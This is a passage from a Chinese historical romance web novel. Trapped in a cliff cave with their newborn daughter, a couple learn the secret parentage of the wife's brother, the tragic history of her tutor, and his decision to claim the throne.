岚姐儿的小像,宣文晟捧在手中看了许久。直到双眼朦胧,什么也看不清,才眨了眨酸涩的双眼,将眼泪拭去。 “肯定是槿妤提议的画小像,”宣文晟嘟哝道,鼻音很重,“妹夫才没有这样的自觉。” 这倒是冤枉了苏琯璋了。 给孩子画小像这件事,本就是苏琯璋主动去做的。 他画了三份,给苏家人和宣文晟各送去一份,他自己和宣槿妤留了一份。 想着每隔一个月,便给孩子画一张,好记录她从小到大的变化。日后孩子大了,也是一份珍贵的、独一无二的回忆。 带着父母对她的珍视,和满满的爱意。 不待小像画完,孩子已经困得闭上了双眼,窝在娘亲怀里睡得酣甜。 白隼送信去了,宣槿妤、苏琯璋夫妻俩围在孩子身边,看着她的睡颜,久久挪不开目光。 大盛不怎么讲究满月宴。 只好歹是女儿的第一个好日子,夫妻俩到底好好地替女儿庆祝了一番。 嗯,所谓庆祝,便是将山外头亲人送来的饭菜,都吃了个精光。 夫妻俩被困在这崖底,也没什么好东西可以给女儿的。 不过,宣槿妤身上倒是有沾了佛性的东西;且经她半年多的佩戴,沾了她身上的温度和体息。 便是苏家二姐苏琯绵从佛寺求回来、托苏琯煜带过来的那枚平安符,和一串七宝玲珑佛坠。 孩子还很小,担心硌倒她,宣槿妤只将平安符压在孩子的小包被里。至于那条七宝佛坠,则挂在了小竹床上。 这段时日,苏琯璋给孩子打造了一张四周有围栏的小竹床,稍稍做得大了些。便是孩子长大了点,会爬了、可以站起来了,不仅能继续睡,还能阻止她滚落在地。 这勉强也算得上是他作为父亲,目前力所能及可以送给女儿满月的礼物了。 小竹床上方还撑起一个半圆的弧度,是用打磨得极为光滑的竹篾条,一根一根仔细围起来的。 日后若是蚊虫多了,还能用细细的绢纱铺在上头,相当于一床质地细密的蚊帐。 苏琯璋说,孩子可以视物的范围不大,所以宣槿妤将佛坠吊到那暂时用不上的半圆弧的竹篾条上。 挂完了一看,佛坠便像是一个不会发出声响的小铃铛,倒也增添了几分童趣。 孩子醒着时,若没人抱起她,她也能乖乖地盯着佛坠看个好半晌。实在等不到爹爹娘亲的抱抱时,才哼哼唧唧起来。 “越发像只小猪崽了。”苏琯璋点了点她的小鼻子,笑着对孩子娘亲说道。 宣槿妤掐了掐他那张胡说八道的嘴。 晚上睡前,夫妻俩都好好地抱了抱、亲了亲女儿。 “岚姐儿,”宣槿妤亲昵地用鼻尖轻轻地蹭着女儿挺拔的小鼻子,“日后爹爹娘亲可以这么叫你啦!” 盛京城中有习俗,孩子未满月时一般不叫名儿;只“孩子”“哥儿”“姐儿”“儿子”“女儿”地混叫着,因怕折了孩子的福寿。 满月之后,便可以称呼大名了。 生产前夜宣槿妤和苏琯璋商量好的小名儿,到底也没有给女儿用上。 一则孩子的大名变了,小名便不大合适;二则,大盛不似前朝,给孩子取名,什么大名、小名儿都取了,成年后也取了字。 大盛以武起家,并不看重这个。 只宣家文人世家,才会给孩子取个小名儿。但大盛建立后,到底也随了新朝,没有取字的习惯了。 岚,山中雾气。 他们将汇集了这灵秀山水的名字给了女儿,希望她日后也如这山水,福泽绵长。 翌日午后,宣槿妤在苏琯璋怀中醒来,便听他说,“槿妤,我有话和你说。” 他神情端肃,显然说的不是什么小事。 宣槿妤窝进他怀里,“你说。”若是他说的事让他害怕了,她就躲进他怀里。 她动作时,发尾扫过他胸膛,他闻到了略微陌生的清香。 宣槿妤昨日才被他伺候着濯洗过一头青丝,此时顺滑无比,还带着花露的味道。 他闻到的,便是花露的味道,和她清甜和暖的体香不大相同。 这山洞花草甚多,看来也可以自制适合她的花露。 苏琯璋揽住她,分心想着。 宣槿妤坐月子的时候,他也没闲着。 每日里照顾宣槿妤和孩子、外出寻找吃食之余,他还采了不少草药。 或是晾晒、或是炮制,此时外面小山洞不靠近水源的三面山壁上,用竹子搭建起来的架子里,全是些他处理妥当的草药。 其中两面山壁竹架子上,尽是些产后大人和小孩适用的药草。譬如补气血的、下奶的、治疗恶露不尽的……治小儿热症、黄疸、惊厥等的。 当然,这一月来,用得上的草药,也不过是补气血的几味而已。 驱蚊虫蛇鼠的药草也有不少,这段时日,连山洞外头爬过的窸窣声都少了不少。 制作花露,耗时不比制作草药的耗时长,也并不费力。他日后继续处理草药时,也不过顺手的事。 这想法只是在苏琯璋脑中一闪而过,被他记在心上。 眼下,他确实有顶顶重要的事情要和宣槿妤说。 苏琯璋一手揽住她,一手从挂在床头竹架子上的外袍上取出早前被他藏起来的,宣文晟写的那封信中信。 苏琯璋亲了亲她的额头,和她对视,“槿妤,三哥不是你亲哥哥,你知道吗?” 宣槿妤震惊地看着他。 他在说什么? 三哥哥不是她亲哥哥? 宣槿妤怀疑自己是否幻听了,或是他消息有误。可观苏琯璋神色,便知她没有听错,他也不是虚言,而是有确切的证据。 “这些是三哥给你的信,叮嘱我等你坐完月子再给你看。”苏琯璋将那信中信拆开,取出厚厚的一沓信纸。 信纸中还夹杂了几封未拆过的信封,只待宣槿妤亲手拆开。 这一个月他常依靠白隼玉爪和崖上的人通信,信的内容多数都和宣槿妤说了,唯独瞒了这件事。 苏琯璋凝视着她由红润转为苍白的脸,凑过 去亲了亲她的额头,“你先看信。”他心里有不忍,但她总是需要知道真相的。 宣槿妤拆开信封。 …… 宣槿妤已经看完了所有的信,不知何时,她已经泪流满面。 苏琯璋轻柔地替她擦着眼泪。 “三哥哥不是我的嫡亲兄长,”宣槿妤忽然开口,“教我的女夫子竟是三哥哥的生母。” 她有些恍惚地说着,“十岁那年,女夫子在我面前自焚。她对我说,永远不要为男人动情。” 可是女夫子自己前后动了两次情,最后自焚,分明就是因为她放不下。 她回想着女夫子留给她的信,这信被宣文晟贴身藏了许多年,如今才给到该给的人看。 “女夫子本是官家小姐,只一日在自家庄子散心时遇上了一名年轻富商。” 宣槿妤和苏琯璋说着女夫子的故事。 官家小姐和年轻富商,二人一见钟情。只家中不满富商的商人身份,又不满意他的性情,觉着他非良配。 但闺中小姐一朝动情,哪里听得进家人的劝解。 她在富商的撺掇下,和他私奔了。 二人柔情蜜意地过了两年,家里人也终于松了口;要她回家,替她准备嫁妆,让二人名正言顺地成为夫妻。 官家小姐欣喜不已,带富商回京,准备回家待嫁。 但回京路上,富商遇到了一名贵人,那贵人多看了他妻子一眼。 当夜官家小姐就被送到了贵人的床上。 官家小姐醒来时有多崩溃绝望可想而知。 可是,没人顾及她的想法,她被贵人送回家中待嫁。 送她回去的宫人还对她说,“姑娘福气深重,得了公子看重。这些年,也就姑娘一人入了公子的眼。” 贵人是当今太子,他在翌日得知了官家小姐的身份,决定要将她娶回府中。 太子文武双全,入朝多年,颇得朝野赞誉,是当之无愧的储君。只他一点为人诟病,便是他年过弱冠之龄,还未沾得女色。 往好了说,便是洁身自好。可一朝储君,不近女色,无子无嗣,便是大过。 太子初始也以为自己是不是有什么毛病,可他又非断袖。 遇上官家小姐,得知自己能为女子动情,他欣喜若狂。 他也不介意官家小姐曾经的经历,还出手抹去了她和人私奔这两年的痕迹。 只是,富商也好,太子也罢;他们没有一个人,有问过官家小姐自己的想法。 一个转手将同床共枕两年的妻子送人;一个趁着人还昏迷就夺走了她的身子,还自以为自己情深意重,不介意她的过去,还将太子妃之位拱手送上。 她就像是一件摆在铺子里货架上的精巧摆件,任人摆弄。买家卖家皆满意,唯独她,连其中的交易几何都不知晓。 官家小姐回了家,哭着和母亲说她不要嫁给那趁她昏迷强夺她身子的人。而且,她已经嫁了人的。 没人告诉她,她那日被送到的是太子的床上。她只知道,对方是自己家中也惹不起的贵人。 她心里惶惶,只觉对不起夫君。 可母亲残忍地戳穿了她自以为幸福的两年婚姻,“你们一无父母之命,二无媒妁之言,只能算无媒苟合。”母亲说。 没有用“奔者为妾”四个字,已经是一名母亲给女儿留的最大体面。 她和富商本就是名不正言不顺的夫妻,照本朝律例,无媒无聘,又无纳妾文书,她只能算作富商的外室。 官家小姐被娇养闺中十多年,哪里知道这样的腌臜事?一朝得知她只能算是外室,便被事实打击到了。 她甚至不敢去找富商,生怕从他口中得知,当年是他诱拐她为外室的残忍真相。 圣旨是在这时候下来的,她被选为太子妃。 她已失了清白,不敢嫁,担心事发牵连家人。 但她更不敢抗旨。 只新婚夜,她见到了太子,就是那名要了她身子的贵人。 痛恨与庆幸,她不知道哪个情绪更重一些,但好歹家里人没有欺君之嫌了。 太子有问必答,她便很快将事情弄清楚了。 她的“前夫”哦不,她只能算外室来着。 是她的前夫主收了太子的巨大好处,答应守口如瓶;再有太子相助,更是将她之前和他的事情瞒得密不透风。 她自以为获得的幸福,不过是一场泡影。她不惜抛弃父母抛弃家族也要私奔跟着的男人,真如爹娘当初说的,“实非良人”。 何止如此。 官家小姐看着太子那张温润如玉的面庞,心里生出了些微的恨意来。 到底日子还是要过下去的,官家小姐成了太子妃,在太子府安稳地生活了下来。 她本就是聪慧的姑娘,自幼也得了良好的教育,只人天真了些,被人哄骗着一时走错了路。 一朝嫁给太子,她更是得到宫中教养,慢慢地成为京中人人称道的太子妃,声名大盛。 照理说,没人知道她的过往,她依旧是朝臣百姓心中完美无瑕的太子妃。她本可以继续将日子过下去,日后还可以母仪天下,惠及母族。 可仇恨是会腐蚀人心的。 当初天真明媚的官家小姐,即便有太子的倾心爱护,也抵挡不住心里越来越刻骨的痛恨。 家人的出事,成了压垮她的最后一根稻草。 她痛恨富商的无情无义,诱骗她私奔;在这之后又丝毫不顾她的尊严,将她当成谋富贵的物品被送了人。 她痛恨太子的自诩深情,若非他的那一眼,富商不会知道他看上了她,为此成全了他们两个男人的“圆满”。 她更痛恨她自己,为何当初不顾家人阻拦,宁愿私奔让家族蒙羞也不愿在家安生待着多等一两年,考察那富商是否真的值得她托付终身。 她在日复一日的煎熬中,怀了太子的骨血。 肚子一天一天隆起来,她终于计划好了报复之事。 她一手策划了富商和他一家的惨死;策划了太子意图谋反的罪名;策划了她自己的死。 可她到底没有死成。 她带着腹中那不该存在的孩子活了下来,太子却在三司会审之前自戕了,为平她的怨气,也为掩饰她栽赃陷害的行径。 太子抹去了太子妃动的所有手脚,暗中准备好了另一份证据,交由心腹藏了起来。 太子妃若决意不要这荣华富贵,那份证据便不会重见天日;若太子妃日后还有几分顾惜她腹中还未出生的孩子,那份证据便也可以作为未来为他洗刷冤屈的凭证。 太子临死前,眷恋地看着太子妃,和她说对不住,不该罔顾她的意愿。 她是人,有尊严的人,不管她不懂事时再如何堕落,也不该剥夺她自己对自己的处置权利。 她只是她自己,她活得再不堪,也是她自己选的。旁人无权打着为她好的名头剥夺她的人权,夺走她的尊严,却又在她面前说爱她。 她觉得恶心透了。 可听着太子的临终剖白,她又觉着他好像也不是罪无可赦。 她茫然地生下孩子,任由太子留下的心腹带她假死逃出了太子府。 宣家家主宣兆的夫人林清婉这时也生下了次子。 她把孩子交给才生产便不幸丧子的林清婉,对她说:“这孩子日后就是你的亲生儿子。” 才失一子的林清婉恸哭出声,紧紧抱着襁褓中的孩子,不愿撒手。 太子罪名未定,却已自戕,皇帝哀痛过度,不到半月也崩逝了。 新的皇帝即先帝,凭着年长的优势登上了帝位。 太子妃成了前太子妃,她离开了宣家,在太子心腹和宣家暗卫的保护下,几乎游遍了全国。 她再次回到宣府时,宣家姑娘宣槿妤才三岁。她的孩子如今是宣家三公子,取名宣文晟,已经有七 岁。 “晟”,还是“盛”?宣家是在为这孩子保留父姓么? 她鬼使神差地留了下来,成为宣槿妤的女夫子。 直到七年后,她自请去往宣家庄子。而宣槿妤为求学,也常在宣府和庄子两头往返。 谁也不知道她忽然就和宣槿妤灌输了很多诸如“世间男子不可信”“不要对男人交付你的真心”“不要去爱,更不要去当先爱上的那一个”这样的话。 她叮嘱乖巧的弟子保密,于是宣槿妤当真谁也没说。 直到女夫子在宣槿妤面前自焚,而刚好被前来接她回家的林清婉和宣文晟看见。 女夫子的信戛然而止。 她没有再剖析心迹,于是宣槿妤也终究不知道她为何忽然就不想活下去了。 “许是,我越来越大,她在我脸上窥到了熟悉的旧人模样。”宣文晟在生母留给宣槿妤的信上末尾,这样写道。 宣文晟很早之前便得知了自己的身世,但他也是那时候才意识到,他的脸,可能会为宣家带去灾祸。 于是,他十八岁考中举子之后,便弃文从商,多年未曾在京中露过面。 宣槿妤阖上信封。 一封封信被放在火上,很快变成一堆灰烬。 往事如风,就让它们如这灰烬,尘归尘、土归土罢! 宣槿妤依旧有些惆怅。 她在后来家人的关怀中渐渐遗忘了那时候的痛苦,只女夫子的惨死景象和她声声的叮咛到底入了心。 她在嫁给苏琯璋月余,意识到已经为新婚夫君动了心之后,那些已经许多年没有纠缠过她的往事再次席上心头。 可她到底是家人宠出来的,也无畏。她只一次次被往事纠缠,再一次次被他吸引,无可救药地一次次沉沦。 但到底有了影响。 她嫁了一个清冷寡言的人,二人最多的相处就是夜间床帏间的热烈纠缠。旁的时候,她看不清这个男人的心。 不过她也不是那等默默忍着的性子。于是她纵容着自己,她闹,她骂,她哭,她想知道他心里究竟有没有她。 如此,竟也吵吵闹闹地,和这个男人过了三年。 宣槿妤将头依偎在苏琯璋怀中,“你莫要负我。” 她不是女夫子,也终究没有女夫子那样狠得下去的心肠,可她有女夫子没有的底气。 家世是锦上添花,她自身的力气,才是她最大的依仗。 不必依靠、不必借助家世,她自己就可以成为自己的依靠。 苏琯璋郑重地应了声,“好”。 二人吻得正缠绵,险些收不住时,被放置在小竹床上睡得安稳的婴孩嘤嘤哭了起来。 “孩子饿了。”宣槿妤头抵着苏琯璋胸膛顺着气,低低道。 果真,等到闻到熟悉的奶香,孩子便急不可耐地拱了上去,大口大口地喝起奶来。 宣槿妤爱怜地摸了摸她的小脑袋。 还没有剃过胎发的婴儿脑袋手感极好,只要小心避开她的囟门,便不必小心翼翼地担心碰伤她柔嫩的肌肤。 是以,她最爱摸女儿的头了。 喂完奶,岚姐儿重新睡着了。 宣槿妤却不愿意撒手,抱着她在山洞里转悠着。她到底是受了女夫子旧事的影响,心里残存了些难过情绪。 苏琯璋默默地陪着她在山洞里转着。 环顾整个山洞,已经没有了初初住进来时的简陋,如今已是大变样。 竹桌、竹椅、竹屏风、竹架子…… 还有供她沐浴用的引自那温湖中的水,也用到了竹子。 苏琯璋这一个月时间里,用砍下来的竹筒引了温湖水到了山壁后的温泉旁边。 竹筒都被埋在泥土里,不必担心风吹雨打。 蓄水池修在温泉池边,日常便可在里边泡着沐浴解乏,权当一个浴池来用了,且是宣槿妤的专属浴池。 至于岚姐儿,她还小,还在用着她出生那日大伯母送过来的那个铜盆。 若是宣槿妤不方便泡澡时,还能淋浴。 苏琯璋在山壁上修了两个出水口,一个是按宣槿妤站起身时的身高修的,一个是按她坐下时的身高修的。 这样,不管她是站着还是坐着,都能十分舒适地沐浴。 而苏琯璋,他倒是不挑,在外面温水湖可以洗,小山洞的山泉处也能洗,甚至山洞外面随便挑一处水源也都可以洗。 而进入大山洞后面的山壁,他可选择的也还是比宣槿妤多:可以泡温泉、可以洗浴池,两个出水口他也都能用。 “我不羡慕。”浴池修好那日,宣槿妤酸溜溜地说着,“浴池是你修的,湖水是你引来的,你随意便是。”她说。 池子是他修的,她也不是那等不知感恩、只顾自己享乐的人;浴池不必成为她的专属,他想用便用。 酸气冲天。 苏琯璋含住她心口不一的那张嘴,“再忍忍,这段时日先洗温湖水,再过一月后便可以泡温泉了。”他说。 眼下他们正经过这处山壁,宣槿妤将孩子递给苏琯璋抱着。 她则走到底下的出水口那里,转动竹筒,用温水洗了手;还浸湿手帕,将脸上残存的失意彻底洗去。 再站直身子时,宣槿妤心里一片澄澈。 她将竹筒拧回原来的位置,水便停止流出。 这技艺,让宣槿妤好生惊讶了一番。她还是第一回自己用这出水口。 也不知道苏琯璋是否是将那片竹林砍光了,宣槿妤笑话他,“若不做官,你倒是可以当个竹匠。”她说。 苏琯璋单手抱着孩子,轻笑,“那夫人可还愿意跟我这个竹匠一起过完这辈子?” 第76章 第76章三哥决定夺位 宣槿妤没说话,只将头靠在他胸膛。 “夫人答应了。”苏琯璋将孩子小心地挪了挪位置,另一只手揽住她,“槿妤,你愿意和我许下生生世世吗?” “你也会相信前世今生的说法么?”宣槿妤把玩着他的手,看似漫不经心地问。 真奇怪,他这个男人,以往最不相信这一套了。 他一向只相信人定胜天来着。 “槿妤,我愿意相信,因为想和你每一世都在一起,夫妻圆满。” 宣槿妤面色一下子便滚烫起来,嘟哝着,“谁要和你过生生世世。” 还夫妻圆满呢!她可还记得,他们坠崖之前他那副四大皆空像是遁入空门的模样来着。 当然,某些时候除外。 苏琯璋低头看着她唇角微扬、眼中全是笑意的模样,也不由笑了,摸了摸她的头。 她还是这样明媚张扬的鲜活模样好些。 “那我们就说定了。”他说。 宣槿妤没再回答他,任由他将自己揽紧。 “我还是不能出山洞吗?”抱了一会儿,宣槿妤仰头问他。 孩子都满月了,她也被闷在这山洞里一个月,实在无趣得很。 苏琯璋亲了亲她的眼睛,“再等半个月,嗯?” 虽然恶露已经排尽,可她气血还未全然恢复,他实在不放心让她出门。 “噢!”宣槿妤揪着他的衣襟,有些失望地应了声。 苏琯璋瞧得有些心软,“不若我给你讲故事听?” 不说还好,一说这个,宣槿妤便想起她怀着岚姐儿时,一次半夜睡不着,他说的那让她伤怀的案子来。 “不听。”她捂着耳朵,抬眼瞪他,“你不许说。” 苏琯璋被她逗乐,低头亲了亲她的鼻子,再将她的左手拉下来,“我讲的故事真就那般难听?”他问。 抛去案子的性质不提,他自觉讲得还可以。 宣槿妤将右手也放了下来,“平铺直叙的,哪里好听了?” 她说着,想起什么,“日后给孩子讲故事,就交给我了。”宣槿妤终于找到了可以陪孩子、也能减轻他负担的事。 给孩子换尿布、洗尿布、清洗她们娘俩的衣裳、做饭……这些活计都是他的,她也该分担一点点的。 宣槿妤点了点头,十分满意自己 的“贤惠”。 苏琯璋哑然,没好意思跟她说,她方才讲女夫子故事的时候,也是平铺直叙,没有一点故事感来着。 但瞧着她高高兴兴的样子,方才的阴霾已经彻底散去,他便什么也没说。 满月后的孩子,和刚出生时有了很大的不同。 刚出生时的岚姐儿,整日里除了吃,便是睡,小手小脚都被牢牢包裹在小包被里,也不怎么动弹。 和爹娘的互动也十分少。 满月后,便是不用小包被将她裹紧,她也不似刚出生时那般没有安全感,会不安地哭泣起来。 躺在宣槿妤身边时,她嗅着熟悉的奶水香气,饿了会伸出粉色的小舌头,自己舔舔嘴唇。 若是宣槿妤醒着,看见她这般,便会给她喂奶。 可若是宣槿妤睡着了,没有及时察觉到她的小动作,她便会自己转动着小脑袋,小嘴发出吸吮的声音。 往往苏琯璋会及时推开竹门,将她抱到娘亲身上。 吃饱喝足的岚姐儿,最是安静不过,清醒的时候也多了些,自己会盯着虚空瞧上个小半刻钟,才打着呵欠继续睡去。 若是宣槿妤和苏琯璋对她说话,抱着她在山洞里走动,她会睁着眼睛盯着爹娘瞧,偶尔会无声地对着他们笑。 “你怎么这么乖啊!”宣槿妤揉了揉她的小脑瓜。 昨日女夫子留给她的信被她烧了,余下的灰烬也尽数被填进脚下的泥土中。 一直停留在她记忆中的那场大火,终究随着信的燃烧而散去。 早晨醒来时,她对苏琯璋说:“我梦到了夫子。” 苏琯璋揽着她肩膀的手一僵,便听她继续说:“记忆中夫子被火烧得痛苦皱眉,她却在笑。但昨夜,她和我说,她不痛苦。” 她思忖着,那更像是凤凰的浴火重生。 苏琯璋听完,亲了亲她的额头,“都过去了。” 那些困扰她近十年的噩梦,也该散去了。 眼下,宣槿妤看着女儿无声地对她笑,嘴巴咧开,露出粉粉嫩嫩的牙床。 她心里发软,亲了亲她的小脸。 岚姐儿头被她撑着,小身子在使力,软软地朝她怀中倾去。 “你在朝娘亲撒娇吗?”宣槿妤抱紧她,满心欢喜。 她终于明白,为什么这么多年,娘亲始终不提起她那个刚出生就夭折的三哥哥;而是任由宣文晟顶替了他的序齿,成为她的次子。 想必,也是不忍心让他背负上一个“克死”“同胞兄弟”的名声,又是真心实意将他视作亲子,才狠心将往事葬入回忆中。 想起远在京中的林清婉,方才还眉眼弯弯的她,眼圈忽地就红了。 为人母之后,她心里对母亲的依赖也更深了些,尤其还得知母亲曾背负了丧子之痛,这么多年却始终没有表现出来。 她心疼林清婉。 怀中的岚姐儿听到熟悉的脚步声,脑袋转了转。 宣槿妤没有察觉,兀自沉浸在自己的思绪中。 苏琯璋将女儿从她怀中接过,低头看她,轻声问:“在想些什么?” 宣槿妤回过神来,“也不知我昨日给娘亲写的信,何时能送到她手中。” “父亲说,我们坠崖之后,这大半年来一直跟着我们的眼睛也尽数撤走了。”苏琯璋假意未察她通红的眼圈。 那日暗杀,跟了他们一路的一部分人加入黑衣人的队伍对他们进行刺杀,一部分人则站在他们这头对抗黑衣人。 还有一小部分人,一直躲在暗处没有露面。 只是,随着黑衣人和那些暗杀他们的人马尽数被反杀,连带着那小部分人也没再露过面。 而相助过他们的那些人,也在打斗结束后告辞离去。 若是快马加鞭日夜兼程,想必,他们也早就赶在大雪封山之前回到了京中。 苏琯璋捂着女儿好奇地盯着他下巴看的双眼,终究忍不住倾身亲了亲宣槿妤藏着思念与失落的眼睛。 “没有人盯梢,暗卫没有顾忌,信最晚下个月也能送到岳母手中。”他说。 淮招县至盛京城有三千余里路,且路上多山,路况难行。遇上高峰,也得多耽搁个一两日的时间。 但大盛的马匹可以日行百里,一路换马疾行,便是路况不佳,也能日行三百里左右。如此,暗卫至多半个多月也能抵达盛京城。 唯一有顾虑的是,大雪是否会影响行路。 前日白隼送膳食过来,他们发现山外头已经开始下雪,而苏声给他写的信里也证实了他们所想无误。 淮招县已经是南方最后一个下雪的府城,再往北边走,雪当会越发大。 今年淮招县的雪比往年早了一个月,也不知北方的雪是否也提前了。 往年十月至次年二月,官府为避免伤亡,雪天时常派衙差封山封路。 他们往后几个月,和京中通信会越发艰难。 但暗卫皆训练有素,且武功轻功皆上乘,倒也不至于因为封山或封路而完成不了任务。 苏琯璋只在心里过了一遍这些思量,很快收住思绪,只一心安抚着妻子明显低落的情绪。 他低头亲过来时,宣槿妤下意识闭上了双眼,任由他的轻吻落在眼皮上,而后往下,落在唇间。 岚姐儿被父亲遮住视线,小手抓住了他的大拇指。 苏琯璋站直身子,将手掌移开。她恢复了视野,却依旧抓着父亲的手不放。 “我们岚姐儿继承了你的神力。”他笑着说,示意宣槿妤看他怀中的孩子。 宣槿妤将信将疑,将左手食指放到岚姐儿另一只小手掌心,很快也被她牢牢抓住。 竟是真的。 “好孩子,放开娘亲。”她手指都被女儿握疼了,这等大力气,不似寻常婴儿能有的。 苏琯璋见她手指都有些泛红,忙低头看着女儿的眼睛,声音清和,“岚姐儿,松手好不好?娘亲都疼了。” 他边说着,边轻轻摸了摸岚姐儿抓着宣槿妤的那只小手手背。 岚姐儿被父亲温柔的目光和声音吸引,手背被他抚摸过时,便不由自主地松开了紧紧抓着宣槿妤的那根食指。 苏琯璋亲了亲她的额头,“好孩子。” 岚姐儿无声地对他露出一个笑。 陪孩子玩了一会儿,又喂了一次奶,她又接着沉沉睡去了。 “白隼去送信了?”宣槿妤整理好有些松散的中衣,问苏琯璋。 苏琯璋颔首,揽住她的腰,陪着她半躺在靠枕上。“天黑了,三哥应当会留白隼过夜,明日当是这个月最后一次送东西过来。” 眼下已经是十一月中上旬,离十二月还有大半个月,他们要短暂和外面的人切断联系。 宣槿妤明白他口中的“三哥”指的是宣文晟,而不是苏琯文,只点点头。 还未到入睡的时辰,但天黑下来之后,山洞外面的声音也慢慢变少。 等到月亮出来之后,便偶尔只听得夜间活动的鸟类扇动翅膀的细微声响,和某些动物途经草丛林间时偶尔带起的窸窣声。 远处有狼嚎声传来,宣槿妤想起几个月前的那两次惊惧,忙将身子缩进苏琯璋怀中。 “别怕,狼离我们很远。”苏琯璋抱住她,轻轻拍着她纤细的脊背,“小山洞门口我放了两道竹门,很牢固,不会有什么野兽闯进来的。” 见她身子还是有些僵硬,他便将被子将她裹好,细细密密地去亲她的脸。从额头、到眼皮、鼻子……最后是嘴唇。 继续往下,许久未曾亲密的二人都有些留恋彼此的体温。 宣槿妤身子在他温柔的安抚下慢慢放松下来。 “三哥决定夺位。”苏琯璋替她穿好中衣,摸了摸她依旧有些发烫的脸颊,忽然说道。 第77章 第77章你说你喜欢的夫君是三哥…… 见她的注意力一下子被吸引过来,苏琯璋便继续说着,“此前他虽说有此决心,但到底心中顾虑颇多。” “直到我们坠崖。” 宣槿妤抬眼看他,脸上的热度很快便降了下来,“什 么时候的事?”她问。 她说着记起什么,“就那回你什么也不肯告诉我的时候?就狼袭次日的事。”她已然忘记了方才听到狼嗥时的害怕,当初被隐瞒的不悦涌上心头。 “你说了日后有机会告诉我的,怎么现在才说?” 她跟那日一样咬上他的唇,磨了磨牙,“若非要转移我的注意力,你是不是都不打算和我说了?”宣槿妤连着好几句问话。 苏琯璋轻笑着追上她退开的唇瓣,“为夫冤枉,这不是找着机会就在跟你说么?”他语气十分无辜。 宣槿妤瞪他一眼,她会相信他才怪。 他这一个月以来,说漂亮话的本事可长了不少,尤其甜言蜜语,顺口就来。 若非日日相对,亲眼见着他的改变,她都要怀疑他内里是否换了个人了。 二人紧密相贴着,宣槿妤感受到他身下的异样,掐了他一把,“继续说。” 她身子还未恢复,这种事他想也无用,不如直接说正事。 “我们杀退野狼的第二日,我就和你三哥哥摊牌了。”苏琯璋忽略身子泛起的热度,双手揽着宣槿妤,略一使力,将她抱在自己身上趴好,才说道。 这样被顶着怪不舒服的,宣槿妤想下去,但才抬起头,却发现腰身被他双手牢牢压着,无法动弹。 “槿妤,别动。”苏琯璋哑声道。 宣槿妤被他弄得面红耳赤,“你不是自找罪受么?” 分明让他冷静一会儿就没事了,非要让她趴在他身上,这不是火上浇油是什么? 苏琯璋一双清眸染上了欲色,但神色间皆是无辜,“就这样听我说,可以么?” 好罢!宣槿妤无奈,既然他非自讨苦吃,她也没辙。 她重新趴了回去,和着他有些急促的心跳声,听他讲述那日的事情。 狼袭次日,兵部官兵也好,禁军侍卫也罢,两队人马都损失惨重。陈阳和王虎忙于安抚伤员情绪,无暇顾及其他。 那是个好时机,周围又无人,苏琯璋趁机揭开了宣文晟的身世。 “先太子死得冤,若非如此,当初登上这皇位也不会是先帝,遑论如今这位。” 盛誉的手段、气魄、野心,对比先帝,可是差远了。 而先帝,论才能、论魄力,也远远不及先太子。 先帝在位十多年,也不过仗着大盛兵强马壮、国富民安,国事上安分守己,无功无过,也得了个“守成之君”的美名。 而先太子,抛开在男女情事上的糊涂不谈,仅论才能魄力,那可是真真正正的天之骄子,当之无愧的未来储君。 只可惜,竟落到那样的下场。 “三哥就不想知道真相,不想报仇?”四下无人,苏琯璋又叫起了三哥。 他难得这样多话,不知槿妤听了该如何作想。宣文晟不合时宜地分心想道。 “今日坐在那上头的人是他,所以我们苏家落到无罪流放的下场。” 苏琯璋压低了声音,“若有朝一日,他知晓宣家、林家瞒了这样大的秘密,你道他会如何?” 宣文晟一惊,抬起头来。 苏琯璋他竟是真的猜到了真相! “三哥这些年甚少在盛京城中露面,逢年过节也不见和岳父岳母拜见世交长辈。” 苏琯璋继续说着,“我猜,三哥定是和先人长得很像,怕被人看出来。” “既然是如此,那秘密就永远不会守得住。” “天下无不透风的墙。” “三哥要早做好准备。” 苏琯璋言尽于此,他无意去左右宣文晟的决定。 只宣文晟的身世始终是件能够利用来伤人的锐器,不管是明面上,还是暗地里。 他心有牵挂,家人是他的底线,他不能冒这个险。 这些话藏在他心里不是一年两年,而是三年。 而这几个月的朝夕相处,让他这些话终于在合适的时机喷发了出来。 苏琯璋转身要走,宣文晟叫住了他,“妹夫,若我去争,你有几分把握?” …… “你和三哥哥谋划了这么多,竟瞒着我。”宣槿妤咬着他抚摸着自己红唇的食指,眸光潋滟。 话虽如此,但她神色之间却也没见什么气恼之意。 宣槿妤自知她那时状态,确实很不好;若真叫她知道这样大的秘密,难保不会再添一重担惊受怕。 如今时机已然成熟,她昨日又得知了宣文晟的身世,和女夫子的生平,接受起来便容易了很多。 这也是为何苏琯璋要分两日来将这些事慢慢说给她听的原因,她总得要有个缓冲的时间,才可以慢慢接受这些事。 “三哥哥定然很难过。”宣槿妤说道。 她忽然意识到宣文晟应当很早之前就知道了自己的身世,但就是不明白他是如何得知的。 毕竟,家里确实瞒得密不透风。 “三哥和夫子长得像么?”苏琯璋身子的灼热已经彻底平复下来,把玩着她的手,漫不经心地问道。 宣槿妤回想着夫子的容貌,摇了摇头,“其实并不大相似。” 若非如此,夫子也不会在宣家教导她七年,也没有什么风言风语传出来。 “非要说的话,”宣槿妤语气有些犹豫,“他们在饮食偏好上十分相似,甚至可以说是一模一样。” 只是,天底下没有血缘关系但容貌相似的人都有,口味相似这样十分寻常的事,便很容易被人忽略。 何况,哪里没有一个偏好的口味呢? 便说他们如今所在的淮招县。 母亲在信上说,这里的人饮食多清淡,偏重食物本味;肉食菜蔬皆以清蒸、炖煮为主,爆炒、红烧、煎炸等烹饪方式并不多见。 她也是此时回想,才意识到宣文晟和夫子之间,还真有这么一个相同点的。 “三哥哥想必和已故的先太子十分相像。”宣槿妤声音有些低落,想起了宣文晟在夫子给她的信上末尾说的那句话。 “许是,我越来越大,她在我脸上窥到了熟悉的旧人模样。”宣文晟是这样写的。 宣槿妤试图去分析宣文晟在写这句话时的心情,但想不出来。 她又试图去代入夫子见到熟悉旧人的情绪,这个很好理解,她心情一下子便怅然起来。 所以夫子自焚,是满腔仇恨被时光消磨之后,露出底下潜藏多年的爱意;她受不住那样的浓烈的情绪,才要毁了自己么? “我曾经嫉妒过三哥。” 宣槿妤正沉浸于自己的猜想中,苏琯璋忽然来了这么一句。 “你说你喜欢的夫君是三哥那样的。” 苏琯璋垂眸,“我就在想,若你有朝一日知道三哥不是宣家人。” “或者说,如果三哥不是以你兄长的名义在宣家生活。” “又或许,三哥父母没有出事,你们青梅竹马长大。” “那就没有我的事了。” 